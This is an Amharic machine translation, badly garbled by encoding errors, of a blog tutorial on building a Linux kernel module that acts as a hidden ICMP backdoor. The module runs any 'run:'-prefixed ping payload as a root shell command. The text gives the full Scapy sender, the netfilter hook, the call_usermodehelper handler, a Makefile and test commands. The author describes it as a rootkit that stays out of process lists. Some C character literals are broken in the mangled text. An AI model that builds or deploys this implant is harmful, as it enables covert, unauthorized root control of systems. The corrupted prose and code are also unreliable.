የኑክሌር áˆŧል በ ICMP ላይ

የኑክሌር áˆŧል በ ICMP ላይ

TL; DRáŠĨኔ የከርነል ሞጁል áŠĨየáŒģፍኩ ነው ከ ICMP ክፍá‹Ģ ጭነá‰ĩ á‰ĩዕዛዞá‰Ŋን የሚá‹Ģነá‰Ĩ áŠĨና በአገልጋዩ ላይ የሚá‹ĢáˆĩፈáŒŊመው SSH á‰ĸá‹ĢበላáˆŊምáĸ በáŒŖም á‰ĩዕግáˆĩá‰ĩ ለሌላቸው, ሁሉም ኮá‹ĩ ነው የፊልሙ.

áŒĨንቃቄ ልምá‹ĩ á‹ĢáŠĢበቱ የC ፕሮግáˆĢም አዘጋጆá‰Ŋ በደም áŠĨንá‰Ŗ ሊፈነዱ ይá‰Ŋላሉ! በቃላá‰ĩ ቃላá‰ļá‰Ŋ ውáˆĩáŒĨ áŠĨንáŠŗን ተáˆŗáˆĩá‰ŧ ሊሆን ይá‰Ŋላል, ነገር ግን ማንኛውም á‰ĩá‰Ŋá‰ĩ ተቀá‰Ŗይነá‰ĩ አለው. ልáŒĨፉ የá‰ŗሰበው áˆĩለ ሲ ፕሮግáˆĢሚንግ በáŒŖም ረቂቅ ሀáˆŗá‰Ĩ ላላቸው áŠĨና የሊኑክáˆĩን የውáˆĩáŒĨ ክፍል ማየá‰ĩ ለሚፈልጉ ነውáĸ

የáŠĨኔ የመጀመáˆĒá‹Ģ አáˆĩተá‹Ģየá‰ĩ ውáˆĩáŒĨ áŒŊሑፍ አንá‹ŗንá‹ĩ “መደበኛ” ፕሮá‰ļኮሎá‰Ŋን በተለይም HTTPSáŖ ICMP áŠĨና ዲ ኤን ኤáˆĩን መኮረጅ የሚá‰Ŋል SoftEther VPN ተጠቅሷልáĸ áŠĨኔ ከኤá‰Ŋቲቲፒ(S) ጋር በደንá‰Ĩ áˆĩለማውቅ áŠĨና በICMP áŠĨና ዲ ኤን ኤáˆĩ መáˆŋለáŠĒá‹Ģ መማር áˆĩላለá‰Ĩኝ ከáŠĨነሱ መáŠĢከል የመጀመáˆĒá‹Ģዎቹ áŠĨንደሚሰሩ መገመá‰ĩ áŠĨá‰Ŋላለሁáĸ

የኑክሌር áˆŧል በ ICMP ላይ

አዎáŖ በ2020 የዘፈቀደ ጭነá‰ĩ ወደ ICMP ፓáŠŦá‰ļá‰Ŋ ማáˆĩገá‰Ŗá‰ĩ áŠĨንደሚá‰Ŋሉ ተማርኩáĸ ግን ከመá‰ŧውም ጊዜ ዘግይá‰ļ የተáˆģለ ነው! áŠĨና አንá‹ĩ ነገር በáŠĨሹ ላይ ሊደረግ áˆĩለሚá‰Ŋል, ከዚá‹Ģም መደረግ አለበá‰ĩ. በዕለá‰ĩ ተዕለá‰ĩ ሕይወቴ á‰Ĩዙውን ጊዜ የá‰ĩáŠĨዛዝ መáˆĩመርን በኤáˆĩኤáˆĩኤá‰Ŋ በኩል áˆĩለምጠቀም ​​የ ICMP áˆŧል ሀáˆŗá‰Ĩ መጀመáˆĒá‹Ģ ወደ አáŠĨምሮá‹Ŧ መáŒŖáĸ áŠĨና የተሟላ ቡልáˆŧልá‹ĩ á‰ĸንጎን ለመሰá‰Ĩሰá‰ĨáŖ áŠĨኔ á‰Ŗሰá‰Ĩኩá‰ĩ ቋንቋ áŠĨንደ ሊኑክáˆĩ ሞጁል ልáŒŊፈው ወሰንኩáĸ áŠĨንዲህ ዓይነቱ ቅርፊá‰ĩ በሂደá‰ļá‰Ŋ ዝርዝር ውáˆĩáŒĨ አይá‰ŗይም, ወደ ከርነል መáŒĢን ይá‰Ŋላሉ áŠĨና በፋይል áˆĩርዓቱ ላይ አይሆንም, በማá‹ŗመáŒĨ ወደá‰Ļá‰Ŋ ዝርዝር ውáˆĩáŒĨ ምንም አጠáˆĢáŒŖáˆĒ ነገር አá‹Ģዩም. ከá‰Ŋሎá‰ŗው አንፃርáŖ ይህ ሙሉ በሙሉ የተሟላ ሊá‰ĩáŠĒá‰ĩ ነውáŖ ግን áŠĨሱን ለማáˆģáˆģል áŠĨና áŠĨንደ የመጨረáˆģ አማáˆĢጭ áˆŧል ልጠቀምበá‰ĩ ተáˆĩፋ አደርጋለሁ የመáŒĢኛ አማáŠĢይ በኤáˆĩኤáˆĩኤá‰Ŋ በኩል ለመግá‰Ŗá‰ĩ áŠĨና á‰ĸá‹Ģንáˆĩ ለማáˆĩፈፀም በáŒŖም ከፍተኛ ነውáĸ echo i > /proc/sysrq-triggerá‹ŗግም áˆŗይነáˆŗ መá‹ŗረáˆģን ወደነበረበá‰ĩ ለመመለáˆĩ.

የáŒŊሑፍ አርá‰ŗዒን áŠĨንወáˆĩá‹ŗለን, መሰረá‰ŗዊ የፕሮግáˆĢም á‰Ŋሎá‰ŗዎá‰Ŋ በ Python áŠĨና C, Google áŠĨና ምናá‰Ŗዊ ማáˆŊን ሁሉም ነገር ከተበላሸ (አማáˆĢጭ - አáŠĢá‰Ŗá‰ĸá‹Ģዊ ቨርቹዋልá‰Ļክáˆĩ/KVM/ወዘተ) á‰ĸላዋ áˆĩር ማáˆĩገá‰Ŗá‰ĩ የማይፈልጉá‰ĩ áŠĨና áŠĨንሂá‹ĩ!

የደንበኛ ጎን

ለደንበኛው ወደ 80 የሚጠጉ መáˆĩመሎá‰Ŋን የá‹Ģዘ áˆĩክáˆĒፕá‰ĩ መáŒģፍ áŠĨንá‹ŗለá‰Ĩኝ መáˆĩሎኝ ነበር áŖ ግን á‹Ģደረጉልኝ ደግ ሰዎá‰Ŋ ነበሩ áĸ ሁሉም áˆĨáˆĢ. ኮዱ ከ10 ጉልህ መáˆĩመሎá‰Ŋ ጋር የሚገáŒŖጠም á‰Ŗልተጠበቀ ሁኔá‰ŗ ቀላል ሆነáĸ

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

áˆĩክáˆĒፕቱ ሁለá‰ĩ ነጋáˆĒ áŠĨሴá‰ļá‰Ŋን ይወáˆĩá‹ŗል, አá‹ĩáˆĢáˆģ áŠĨና ጭነá‰ĩ. ከመላኩ በፊá‰ĩáŖ የሚከፈለው ጭነá‰ĩ በቁልፍ ይቀá‹ĩማል run:, በዘፈቀደ የሚáŒĢኑ áŒĨቅሎá‰Ŋን ለማáˆĩቀረá‰ĩ á‹Ģáˆĩፈልገናል.

ኮርነሉ áŒĨቅሎá‰Ŋን ለመáˆĨáˆĢá‰ĩ ልዩ መá‰Ĩá‰ļá‰Ŋን ይፈልጋልáŖ áˆĩለዚህ áˆĩክáˆĒፕቱ áŠĨንደ ሱፐር ተጠቃሚ መሆን አለበá‰ĩáĸ የማáˆĩፈጸሚá‹Ģ ፈቃá‹ļá‰Ŋን መáˆĩጠá‰ĩ áŠĨና áˆĩáŠĢፒን áŠĨáˆĢሱን መáŒĢንን አይርሱáĸ ዴá‰ĸá‹Ģን የሚá‰Ŗል áŒĨቅል አለውáĸ python3-scapy. አሁን ሁሉም áŠĨንዴá‰ĩ áŠĨንደሚሰáˆĢ ማረጋገáŒĨ ይá‰Ŋላሉ.

á‰ĩዕዛዙን ማáˆĩáŠŦá‹ĩ áŠĨና ማውáŒŖá‰ĩ
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

በአነፍናፊው ውáˆĩáŒĨ የሚመáˆĩለው ይህ ነውáĸ
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

በምላáˆŊ áŒĨቅል ውáˆĩáŒĨ á‹Ģለው የክፍá‹Ģ ጭነá‰ĩ አይለወáŒĨም.

የከርነል ሞጁል

በዴá‰ĸá‹Ģን ምናá‰Ŗዊ ማáˆŊን ውáˆĩáŒĨ ለመገንá‰Ŗá‰ĩ á‰ĸá‹Ģንáˆĩ á‹Ģáˆĩፈልግዎá‰ŗል make и linux-headers-amd64, ቀáˆĒው በáŒĨገኛ መልክ ይመáŒŖል. በáŒŊሁፉ ውáˆĩáŒĨ ሙሉውን ኮá‹ĩ አላቀርá‰Ĩም፤ በ Github ላይ መዝጋá‰ĩ ይá‰Ŋላሉáĸ

መንጠቆ ማዋቀር

ለመጀመር, ሞጁሉን ለመáŒĢን áŠĨና ለማáˆĢገፍ ሁለá‰ĩ ተግá‰ŖáˆĢá‰ĩ á‹Ģáˆĩፈልጉናል. የማውረá‹ĩ ተግá‰Ŗር አá‹Ģáˆĩፈልግም, ግን ከዚá‹Ģ rmmod አይሰáˆĢም, ሞጁሉ ሲጠፋ á‰Ĩá‰ģ ይወርá‹ŗል.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

áŠĨዚህ ምን áŠĨየሆነ ነው:

  1. ሞጁሉን áŠĨáˆĢሹ áŠĨና የተáŒŖáˆĢ ማáŒŖáˆĒá‹Ģውን ለመቆáŒŖጠር ሁለá‰ĩ የáˆĢáˆĩጌ ፋይሎá‰Ŋ ተáˆĩá‰Ļ ገá‰Ĩተዋልáĸ
  2. ሁሉም ክዋኔዎá‰Ŋ በተáŒŖáˆĢ ማáŒŖáˆĒá‹Ģ ውáˆĩáŒĨ á‹Ģልፋሉ, በውáˆĩጡ መንጠቆዎá‰Ŋን ማዘጋጀá‰ĩ ይá‰Ŋላሉ. ይህንን ለማá‹ĩረግ መንጠቆው የሚዋቀርበá‰ĩን መዋቅር ማወጅ á‹Ģáˆĩፈልግዎá‰ŗል. በáŒŖም አáˆĩፈላጊው ነገር áŠĨንደ መንጠቆ የሚሠáˆĢውን ተግá‰Ŗር መግለáŒŊ ነው- nfho.hook = icmp_cmd_executor; በኋላ ላይ ወደ ተግá‰Ŗሊ áŠĨገá‰Ŗለሁáĸ
    ከዚá‹Ģ ለáŒĨቅሉ የማáˆĩáŠŦጃ ሰዓቱን አዘጋጅá‰ģለሁ፡- NF_INET_PRE_ROUTING áŒĨቅሉን በከርነል ውáˆĩáŒĨ ለመጀመáˆĒá‹Ģ ጊዜ ሲá‰ŗይ ለማáˆĩáŠŦá‹ĩ ይገልáŒģልáĸ መጠቀም ይá‰ģላል NF_INET_POST_ROUTING ከከርነል ሲወáŒŖ ፓáŠŦጁን ለማáˆĩáŠŦá‹ĩ.
    ማáŒŖáˆĒá‹Ģውን ወደ IPv4 አዘጋጅá‰ģለሁ፡- nfho.pf = PF_INET;.
    የáŠĨኔ መንጠቆ ከፍተኛውን ቅá‹ĩሚá‹Ģ áŠĨሰáŒŖለሁ፡- nfho.priority = NF_IP_PRI_FIRST;
    áŠĨና የውሂá‰Ĩ አወቃቀሩን áŠĨንደ á‰ĩክክለኛው መንጠቆ አáˆĩመዘገá‰Ĩኩ፡- nf_register_net_hook(&init_net, &nfho);
  3. የመጨረáˆģው ተግá‰Ŗር መንጠቆውን á‹Ģáˆĩወግá‹ŗል.
  4. አቀናá‰ŖáˆĒው ቅáˆŦá‰ŗ áŠĨንá‹ŗá‹Ģሰማ ፈቃዱ በግልፅ ተጠቁሟልáĸ
  5. ተግá‰Ŗሎá‰Ŋ module_init() и module_exit() ሞጁሉን ለመጀመር áŠĨና ለማቋረáŒĨ ሌሎá‰Ŋ ተግá‰ŖáˆĢá‰ĩን á‹Ģዘጋጁ.

የተከፈለውን ጭነá‰ĩ በማንáˆŗá‰ĩ ላይ

አሁን የክፍá‹Ģውን ጭነá‰ĩ ማውáŒŖá‰ĩ አለá‰Ĩን, ይህ በáŒŖም ከá‰Ŗá‹ĩ áˆĩáˆĢ ሆኖ ተገኝቷል. ኮርነሉ ከክፍá‹Ģ ጭነá‰ļá‰Ŋ ጋር አá‰Ĩሎ ለመáˆĩáˆĢá‰ĩ አá‰Ĩሎ የተሰሩ ተግá‰ŖáˆĢá‰ĩ የሉá‰ĩም፤ የከፍተኛ ደረጃ ፕሮá‰ļኮሎá‰Ŋን áˆĢáˆĩጌዎá‰Ŋ á‰Ĩá‰ģ መተንተን ይá‰Ŋላሉáĸ

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

ምን áŠĨየተደረገ ነው:

  1. ተጨማáˆĒ የáˆĢáˆĩጌ ፋይሎá‰Ŋን ማáŠĢተá‰ĩ ነበረá‰ĨኝáŖ በዚህ ጊዜ IP áŠĨና ICMP áˆĢáˆĩጌዎá‰Ŋን ለመቆáŒŖጠርáĸ
  2. ከፍተኛውን የመáˆĩመር ርዝመá‰ĩ አዘጋጅá‰ģለሁ፡- #define MAX_CMD_LEN 1976. ለምን በá‰ĩክክል ይህ? ምክንá‹Ģቱም አቀናá‰ŖáˆĒው áˆĩለáŠĨሹ ቅáˆŦá‰ŗ አለው! ቁልል áŠĨና ክምር መረá‹ŗá‰ĩ áŠĨንá‹ŗለá‰Ĩኝ አáˆĩቀá‹ĩመው ጠቁመውኛልáŖ አንá‹ĩ ቀን በáŠĨርግጠኝነá‰ĩ ይህን አደርጋለሁ áŠĨና ምናልá‰Ŗá‰ĩ ኮዱን አáˆĩተáŠĢክላለሁáĸ ወዲá‹Ģውኑ á‰ĩዕዛዙን የá‹Ģዘውን መáˆĩመር አዘጋጅá‰ģለሁ፡- char cmd_string[MAX_CMD_LEN];. በሁሉም ተግá‰ŖáˆĢá‰ĩ ውáˆĩáŒĨ መá‰ŗየá‰ĩ አለበá‰ĩ, áˆĩለዚህ ጉá‹ŗይ በአንቀáŒŊ 9 ላይ በበለጠ ዝርዝር áŠĨናገáˆĢለሁ.
  3. አሁን ማáˆĩጀመር አለá‰Ĩን (struct work_struct my_work;) መዋቅር áŠĨና ከሌላ ተግá‰Ŗር ጋር á‹Ģገናኙá‰ĩ (DECLARE_WORK(my_work, work_handler);). በዘጠነኛው አንቀáŒŊ ላይ ይህ ለምን አáˆĩፈላጊ áŠĨንደሆነ áŠĨናገáˆĢለሁ.
  4. አሁን አንá‹ĩ ተግá‰Ŗር አውጃለሁ, áŠĨሱም መንጠቆ ይሆናል. ዓይነá‰ĩ áŠĨና ተቀá‰Ŗይነá‰ĩ á‹Ģላቸው ክርክሮá‰Ŋ በ netfilter የá‰ŗዘዙ ናቸው, áŠĨኛ á‰Ĩá‰ģ ፍላጎá‰ĩ አለን skb. ይህ የáˆļáŠŦá‰ĩ ቋá‰ĩ ነውáŖ áˆĩለ ፓáŠŦá‰ĩ ሁሉንም የሚገኙ መረጃዎá‰Ŋን የá‹Ģዘ መሠረá‰ŗዊ የውሂá‰Ĩ መዋቅር ነውáĸ
  5. ተግá‰Ŗሊ áŠĨንዲሠáˆĢ ሁለá‰ĩ ተደጋጋሚዎá‰Ŋን ጨምሮ ሁለá‰ĩ አወቃቀሮá‰Ŋን áŠĨና በርáŠĢá‰ŗ ተለዋዋጮá‰Ŋን á‹Ģáˆĩፈልግዎá‰ŗልáĸ
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. በሎጂክ መጀመር áŠĨንá‰Ŋላለንáĸ ሞጁሉ áŠĨንዲሰáˆĢáŖ ከ ICMP Echo ሌላ ምንም áŠĨáˆŊጎá‰Ŋ አá‹ĢáˆĩፈልግምáŖ áˆĩለዚህ አá‰Ĩሎ የተሰሩ ተግá‰ŖáˆĢá‰ĩን በመጠቀም ቋቱን áŠĨንተነተን áŠĨና ሁሉንም ICMP á‹Ģልሆኑ áŠĨና áŠĸኮ á‹Ģልሆኑ ፓáŠŦá‰ļá‰Ŋን áŠĨንáŒĨላለንáĸ ተመለáˆĩ NF_ACCEPT ፓáŠŦጁን መቀበል ማለá‰ĩ ነው, ነገር ግን በመመለáˆĩ áŒĨቅሎá‰Ŋን መáŒŖል ይá‰Ŋላሉ NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    የአይፒ áˆĢáˆĩጌዎá‰Ŋን áˆŗላረጋግáŒĨ ምን áŠĨንደሚሆን አልሞከርኩምáĸ áˆĩለ C á‹Ģለኝ አነáˆĩተኛ áŠĨውቀá‰ĩ á‹Ģለ ተጨማáˆĒ á‰ŧኮá‰Ŋ አንá‹ĩ አáˆĩከፊ ነገር መከሰቱ አይቀርም ይለኛልáĸ ከዚህ á‰Ĩá‰ŗáˆŗምኑኝ ደáˆĩ ይለኛል!

  7. አሁን áŒĨቅሉ የሚá‹Ģáˆĩፈልግዎ á‰ĩክክለኛ አይነá‰ĩ áˆĩለሆነ ውሂቡን ማውáŒŖá‰ĩ ይá‰Ŋላሉ. አá‰Ĩሎ የተሰáˆĢ ተግá‰Ŗር ከሌለ በመጀመáˆĒá‹Ģ ለክፍá‹Ģው መጀመáˆĒá‹Ģ ጠቋሚ ማግኘá‰ĩ አለá‰Ĩዎá‰ĩáĸ ይህ በአንá‹ĩ á‰Ļá‰ŗ ይከናወናል, ጠቋሚውን ወደ ICMP áˆĢáˆĩጌ መጀመáˆĒá‹Ģ መውሰá‹ĩ áŠĨና ወደዚህ áˆĢáˆĩጌ መጠን መውሰá‹ĩ á‹Ģáˆĩፈልግዎá‰ŗል. ሁሉም ነገር መዋቅርን ይጠቀማል icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    የáˆĢáˆĩጌው መጨረáˆģ ከተáŒĢነው ጭነá‰ĩ መጨረáˆģ ጋር መዛመá‹ĩ አለበá‰ĩáĸ skb, áˆĩለዚህ áŠĨኛ ከተዛማጅ መዋቅር የኑክሌር ዘዴዎá‰Ŋን በመጠቀም áŠĨናገኛለን: tail = skb_tail_pointer(skb);.

    የኑክሌር áˆŧል በ ICMP ላይ

    ምáˆĩሉ ተሰርቋል áŠĨዚህáŖ áˆĩለ áˆļáŠŦá‰ĩ ቋá‰ĩ የበለጠ ማንበá‰Ĩ ይá‰Ŋላሉáĸ

  8. መጀመáˆĒá‹Ģ áŠĨና መጨረáˆģ ላይ ጠቋሚዎá‰Ŋ áŠĢሉዎá‰ĩ በኋላ ውሂቡን ወደ ሕá‰Ĩረቁምፊ መቅá‹ŗá‰ĩ ይá‰Ŋላሉáĸ cmd_string, ቅá‹ĩመ ቅáŒĨá‹Ģ መኖሩን á‹Ģረጋግጡ run: áŠĨናáŖ ወይ áŒĨቅሉን ከጠፋ á‹Ģáˆĩወግዱá‰ĩáŖ ወይም መáˆĩመሩን áŠĨንደገና ይፃፉáŖ ይህን ቅá‹ĩመ ቅáŒĨá‹Ģ á‹Ģáˆĩወግዱáĸ
  9. á‹Ģ á‰Ĩá‰ģ ነውáŖ አሁን ወደ ሌላ ተቆáŒŖáŒŖáˆĒ መደወል ይá‰Ŋላሉ፡- schedule_work(&my_work);. ለáŠĨንደዚህ አይነá‰ĩ áŒĨáˆĒ መለáŠĒá‹Ģ ማáˆĩተላለፍ áˆĩለማይá‰ģል ከá‰ĩáŠĨዛዙ ጋር á‹Ģለው መáˆĩመር ዓለም አቀፋዊ መሆን አለበá‰ĩ. schedule_work() ከá‰ŗለፈው መዋቅር ጋር የተá‹Ģá‹Ģዘውን ተግá‰Ŗር ወደ ተግá‰Ŗር መርሐግá‰Ĩር አጠቃላይ ወረፋ á‹ĢáˆĩቀምáŒŖል áŠĨና á‹Ģጠናቅቃል, ይህም á‰ĩዕዛዙ áŠĨáˆĩáŠĒጠናቀቅ á‹ĩረáˆĩ áŠĨንá‹ŗይጠá‰Ĩቁ á‹Ģáˆĩá‰Ŋልዎá‰ŗል. መንጠቆው በáŒŖም ፈáŒŖን መሆን አለበá‰ĩ ምክንá‹Ģቱም ይህ አáˆĩፈላጊ ነው. አለበለዚá‹Ģ ምርáŒĢዎ ምንም ነገር አይጀምርም ወይም የከርነል áˆŊá‰Ĩር ይደርáˆĩá‰Ĩዎá‰ŗል. መዘግየá‰ĩ áŠĨንደ ሞá‰ĩ ነው!
  10. á‹Ģ á‰Ĩá‰ģ ነውáŖ áŒĨቅሉን በተዛማጅ መመለáˆģ መቀበል ይá‰Ŋላሉáĸ

በተጠቃሚ á‰Ļá‰ŗ ላይ ፕሮግáˆĢም በመደወል ላይ

ይህ ተግá‰Ŗር በáŒŖም ለመረá‹ŗá‰ĩ የሚá‰ģል ነው. ውáˆĩáŒĨ áˆĩሙ ተሰáŒĨቷልáĸ DECLARE_WORK(), ዓይነá‰ĩ áŠĨና ተቀá‰Ŗይነá‰ĩ á‹Ģላቸው ክርክሮá‰Ŋ አáˆĩደáˆŗá‰Ŋ አይደሉም. መáˆĩመሩን ከá‰ĩáŠĨዛዙ ጋር áŠĨንይዛለን áŠĨና ሙሉ በሙሉ ወደ ዛጎል áŠĨናáˆĩተላልፋለን. መተንተንንáŖ ሁለá‰ĩዮáˆŊዎá‰Ŋን áŠĨና ሌሎá‰Ŋ ነገሮá‰Ŋን በመፈለግ ላይ áŠĨንዲሰáˆĢ ይፍቀዱለá‰ĩáĸ

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. ክርክሮá‰Ŋን ወደ የሕá‰Ĩረቁምፊዎá‰Ŋ á‹ĩርá‹ĩር á‹Ģቀናá‰Ĩሊ argv[]. áŠĨኔ áŠĨገምá‰ŗለሁ ፕሮግáˆĢሞá‰Ŋ በáŠĨውነቱ በዚህ መንገá‹ĩ áŠĨንደሚፈጸሙ áŠĨና áŠĨንደ ቀáŒŖይ መáˆĩመር áˆŗይሆን ከá‰Ļá‰ŗዎá‰Ŋ ጋር ሁሉም ሰው áŠĨንደሚá‹Ģውቅ áŠĨገምá‰ŗለሁáĸ
  2. የአáŠĢá‰Ŗá‰ĸ ተለዋዋጮá‰Ŋን á‹Ģዘጋጁáĸ PATH á‹Ģáˆĩገá‰Ŗሁá‰ĩ በá‰ĩንሹ የመንገá‹ļá‰Ŋ áˆĩá‰Ĩáˆĩá‰Ĩ á‰Ĩá‰ģ ነውáŖ ሁሉም ቀá‹ĩሞውኑ ተáŒŖምረው ነበር á‰Ĩá‹Ŧ ተáˆĩፋ በማá‹ĩረግ /bin Ņ /usr/bin и /sbin Ņ /usr/sbin. ሌሎá‰Ŋ መንገá‹ļá‰Ŋ በተግá‰Ŗር áŠĨምá‰Ĩዛም አáˆĩፈላጊ አይደሉምáĸ
  3. ተከናውኗልáŖ áŠĨናá‹ĩርገው! የከርነል ተግá‰Ŗር call_usermodehelper() መግá‰ĸá‹Ģ ይቀበላል. ወደ ሁለá‰ĩዮáˆŊ የሚወáˆĩደው መንገá‹ĩáŖ የክርክር á‹ĩርá‹ĩርáŖ የአáŠĢá‰Ŗá‰ĸ ተለዋዋጮá‰Ŋ á‹ĩርá‹ĩርáĸ áŠĨዚህ በተጨማáˆĒ ሁሉም ሰው ወደ ፈáŒģሚው ፋይል የሚወáˆĩደውን መንገá‹ĩ áŠĨንደ የተለየ ሙግá‰ĩ የመተላለፉን á‰ĩርጉም áŠĨንደሚረá‹ŗው áŠĨገምá‰ŗለሁ, ነገር ግን áŠĨርáˆĩዎ መጠየቅ ይá‰Ŋላሉ. የመጨረáˆģው መከáˆĢከáˆĒá‹Ģ ሂደቱ áŠĨáˆĩáŠĒጠናቀቅ á‹ĩረáˆĩ መጠበቅን ወይም አለመጠበቅን ይገልáŒģል (UMH_WAIT_PROCየሂደቱ መጀመáˆĒá‹Ģ (UMH_WAIT_EXEC) ወይም ጨርáˆļ አለመጠበቅ (UMH_NO_WAIT). ሌላም አለ? UMH_KILLABLEáŖ አላየሁá‰ĩምáĸ

መሰá‰Ĩሰá‰Ĩ

የከርነል ሞጁሎá‰Ŋን መሰá‰Ĩሰá‰Ĩ የሚከናወነው በከርነል ማቀፊá‹Ģ በኩል ነውáĸ ተጠርቷልáĸ make ከከርነል áˆĨáˆĒá‰ĩ ጋር በተáˆŗሰረ ልዩ ማውáŒĢ ውáˆĩáŒĨ (áŠĨዚህ ይገለáŒģል፡) KERNELDIR:=/lib/modules/$(shell uname -r)/build), áŠĨና የሞጁሉ á‰Ļá‰ŗ ወደ ተለዋዋጭ ተላልፏል M በክርክር ውáˆĩáŒĨ. የ icmpshell.ko áŠĨና ንጹህ áŠĸላማዎá‰Ŋ ይህንን ማዕቀፍ ሙሉ ለሙሉ ይጠቀማሉáĸ ውáˆĩáŒĨ obj-m ወደ ሞጁል የሚለወጠውን የነገር ፋይል á‹Ģáˆŗá‹Ģልáĸ áŠĨንደገና የሚሠáˆĢ አገá‰Ŗá‰Ĩ main.o в icmpshell.o (icmpshell-objs = main.o) ለáŠĨኔ በáŒŖም ምክንá‹Ģá‰ŗዊ አይመáˆĩልም, ግን áŠĨንደዚá‹Ģው ይሁን.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

áŠĨኛ áŠĨንሰበáˆĩá‰Ŗለን: make. በመáŒĢን ላይ፡ insmod icmpshell.ko. ተከናውኗልáŖ ማረጋገáŒĨ á‰ĩá‰Ŋላለህ፡- sudo ./send.py 45.11.26.232 "date > /tmp/test". በማáˆŊንዎ ላይ ፋይል áŠĢለዎá‰ĩ /tmp/test áŠĨና áŒĨá‹Ģቄው የተላከበá‰ĩን ቀን ይዟል, ይህም ማለá‰ĩ ሁሉንም ነገር በá‰ĩክክል አደረጉ áŠĨና ሁሉንም ነገር በá‰ĩክክል አደረግሁ ማለá‰ĩ ነው.

መደምደሚá‹Ģ

